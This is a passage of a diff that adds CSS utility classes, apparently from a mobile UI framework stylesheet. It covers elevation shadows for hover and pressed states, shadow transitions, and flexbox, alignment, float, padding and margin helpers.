15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-0:hover { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.device-desktop .elevation-hover-1:hover { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-2:hover { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-3:hover { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-4:hover { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-5:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-6:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-7:hover { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-8:hover { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-9:hover { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-10:hover { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-11:hover { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-12:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-13:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-14:hover { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-15:hover { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-16:hover { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-17:hover { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-18:hover { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-19:hover { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-20:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-21:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-22:hover { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-23:hover { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-24:hover { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-0, +.device-desktop .active-state.elevation-pressed-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.active-state.elevation-pressed-1, +.device-desktop .active-state.elevation-pressed-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-2, +.device-desktop .active-state.elevation-pressed-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-3, +.device-desktop .active-state.elevation-pressed-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-4, +.device-desktop .active-state.elevation-pressed-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-5, +.device-desktop .active-state.elevation-pressed-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-6, +.device-desktop .active-state.elevation-pressed-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-7, +.device-desktop .active-state.elevation-pressed-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-8, +.device-desktop .active-state.elevation-pressed-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-9, +.device-desktop .active-state.elevation-pressed-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-10, +.device-desktop .active-state.elevation-pressed-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-11, +.device-desktop .active-state.elevation-pressed-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-12, +.device-desktop .active-state.elevation-pressed-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-13, +.device-desktop .active-state.elevation-pressed-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-14, +.device-desktop .active-state.elevation-pressed-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-15, +.device-desktop .active-state.elevation-pressed-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-16, +.device-desktop .active-state.elevation-pressed-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-17, +.device-desktop .active-state.elevation-pressed-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-18, +.device-desktop .active-state.elevation-pressed-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-19, +.device-desktop .active-state.elevation-pressed-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-20, +.device-desktop .active-state.elevation-pressed-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-21, +.device-desktop .active-state.elevation-pressed-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-22, +.device-desktop .active-state.elevation-pressed-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-23, +.device-desktop .active-state.elevation-pressed-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-24, +.device-desktop .active-state.elevation-pressed-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-transition-100 { + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition, +.elevation-transition-200 { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-300 { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-400 { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +.elevation-transition-500 { + -webkit-transition-duration: 500ms; + transition-duration: 500ms; + -webkit-transition-property: -webkit-box-shadow; + transition-property: -webkit-box-shadow; + transition-property: box-shadow; + transition-property: box-shadow, -webkit-box-shadow; +} +/* === Typography === */ +.display-flex { + display: -webkit-box !important; + display: -webkit-flex !important; + display: -ms-flexbox !important; + display: flex !important; +} +.display-block { + display: block !important; +} +.display-inline-flex { + display: -webkit-inline-box !important; + display: -webkit-inline-flex !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important; +} +.display-inline-block { + display: inline-block !important; +} +.display-inline { + display: inline !important; +} +.display-none { + display: none !important; +} +.flex-shrink-0 { + -webkit-flex-shrink: 0 !important; + -ms-flex-negative: 0 !important; + flex-shrink: 0 !important; +} +.flex-shrink-1 { + -webkit-flex-shrink: 1 !important; + -ms-flex-negative: 1 !important; + flex-shrink: 1 !important; +} +.flex-shrink-2 { + -webkit-flex-shrink: 2 !important; + -ms-flex-negative: 2 !important; + flex-shrink: 2 !important; +} +.flex-shrink-3 { + -webkit-flex-shrink: 3 !important; + -ms-flex-negative: 3 !important; + flex-shrink: 3 !important; +} +.flex-shrink-4 { + -webkit-flex-shrink: 4 !important; + -ms-flex-negative: 4 !important; + flex-shrink: 4 !important; +} +.flex-shrink-5 { + -webkit-flex-shrink: 5 !important; + -ms-flex-negative: 5 !important; + flex-shrink: 5 !important; +} +.flex-shrink-6 { + -webkit-flex-shrink: 6 !important; + -ms-flex-negative: 6 !important; + flex-shrink: 6 !important; +} +.flex-shrink-7 { + -webkit-flex-shrink: 7 !important; + -ms-flex-negative: 7 !important; + flex-shrink: 7 !important; +} +.flex-shrink-8 { + -webkit-flex-shrink: 8 !important; + -ms-flex-negative: 8 !important; + flex-shrink: 8 !important; +} +.flex-shrink-9 { + -webkit-flex-shrink: 9 !important; + -ms-flex-negative: 9 !important; + flex-shrink: 9 !important; +} +.flex-shrink-10 { + -webkit-flex-shrink: 10 !important; + -ms-flex-negative: 10 !important; + flex-shrink: 10 !important; +} +.justify-content-flex-start { + -webkit-box-pack: start !important; + -webkit-justify-content: flex-start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important; +} +.justify-content-center { + -webkit-box-pack: center !important; + -webkit-justify-content: center !important; + -ms-flex-pack: center !important; + justify-content: center !important; +} +.justify-content-flex-end { + -webkit-box-pack: end !important; + -webkit-justify-content: flex-end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important; +} +.justify-content-space-between { + -webkit-box-pack: justify !important; + -webkit-justify-content: space-between !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important; +} +.justify-content-space-around { + -webkit-justify-content: space-around !important; + -ms-flex-pack: distribute !important; + justify-content: space-around !important; +} +.justify-content-space-evenly { + -webkit-box-pack: space-evenly !important; + -webkit-justify-content: space-evenly !important; + -ms-flex-pack: space-evenly !important; + justify-content: space-evenly !important; +} +.justify-content-stretch { + -webkit-box-pack: stretch !important; + -webkit-justify-content: stretch !important; + -ms-flex-pack: stretch !important; + justify-content: stretch !important; +} +.justify-content-start { + -webkit-box-pack: start !important; + -webkit-justify-content: start !important; + -ms-flex-pack: start !important; + justify-content: start !important; +} +.justify-content-end { + -webkit-box-pack: end !important; + -webkit-justify-content: end !important; + -ms-flex-pack: end !important; + justify-content: end !important; +} +.justify-content-left { + -webkit-box-pack: left !important; + -webkit-justify-content: left !important; + -ms-flex-pack: left !important; + justify-content: left !important; +} +.justify-content-right { + -webkit-box-pack: right !important; + -webkit-justify-content: right !important; + -ms-flex-pack: right !important; + justify-content: right !important; +} +.align-content-flex-start { + -webkit-align-content: flex-start !important; + -ms-flex-line-pack: start !important; + align-content: flex-start !important; +} +.align-content-flex-end { + -webkit-align-content: flex-end !important; + -ms-flex-line-pack: end !important; + align-content: flex-end !important; +} +.align-content-center { + -webkit-align-content: center !important; + -ms-flex-line-pack: center !important; + align-content: center !important; +} +.align-content-space-between { + -webkit-align-content: space-between !important; + -ms-flex-line-pack: justify !important; + align-content: space-between !important; +} +.align-content-space-around { + -webkit-align-content: space-around !important; + -ms-flex-line-pack: distribute !important; + align-content: space-around !important; +} +.align-content-stretch { + -webkit-align-content: stretch !important; + -ms-flex-line-pack: stretch !important; + align-content: stretch !important; +} +.align-items-flex-start { + -webkit-box-align: start !important; + -webkit-align-items: flex-start !important; + -ms-flex-align: start !important; + align-items: flex-start !important; +} +.align-items-flex-end { + -webkit-box-align: end !important; + -webkit-align-items: flex-end !important; + -ms-flex-align: end !important; + align-items: flex-end !important; +} +.align-items-center { + -webkit-box-align: center !important; + -webkit-align-items: center !important; + -ms-flex-align: center !important; + align-items: center !important; +} +.align-items-stretch { + -webkit-box-align: stretch !important; + -webkit-align-items: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important; +} +.align-self-flex-start { + -webkit-align-self: flex-start !important; + -ms-flex-item-align: start !important; + align-self: flex-start !important; +} +.align-self-flex-end { + -webkit-align-self: flex-end !important; + -ms-flex-item-align: end !important; + align-self: flex-end !important; +} +.align-self-center { + -webkit-align-self: center !important; + -ms-flex-item-align: center !important; + align-self: center !important; +} +.align-self-stretch { + -webkit-align-self: stretch !important; + -ms-flex-item-align: stretch !important; + align-self: stretch !important; +} +.text-align-left { + text-align: left !important; +} +.text-align-center { + text-align: center !important; +} +.text-align-right { + text-align: right !important; +} +.text-align-justify { + text-align: justify !important; +} +.float-left { + float: left !important; +} +.float-right { + float: right !important; +} +.float-none { + float: none !important; +} +.vertical-align-bottom { + vertical-align: bottom !important; +} +.vertical-align-middle { + vertical-align: middle !important; +} +.vertical-align-top { + vertical-align: top !important; +} +.no-padding { + padding: 0 !important; +} +.no-padding-left { + padding-left: 0 !important; +} +.no-padding-right { + padding-right: 0 !important; +} +.no-padding-top { + padding-top: 0 !important; +} +.no-padding-bottom { + padding-bottom: 0 !important; +} +.no-margin { + margin: 0 !important; +} +.no-margin-left { + margin-left: 0 !important; +} +.no-margin-right { + margin-right: 0 !important; +} +.no-margin-top { + margin-top: 0 !important; +} +.no-margin-bottom { + 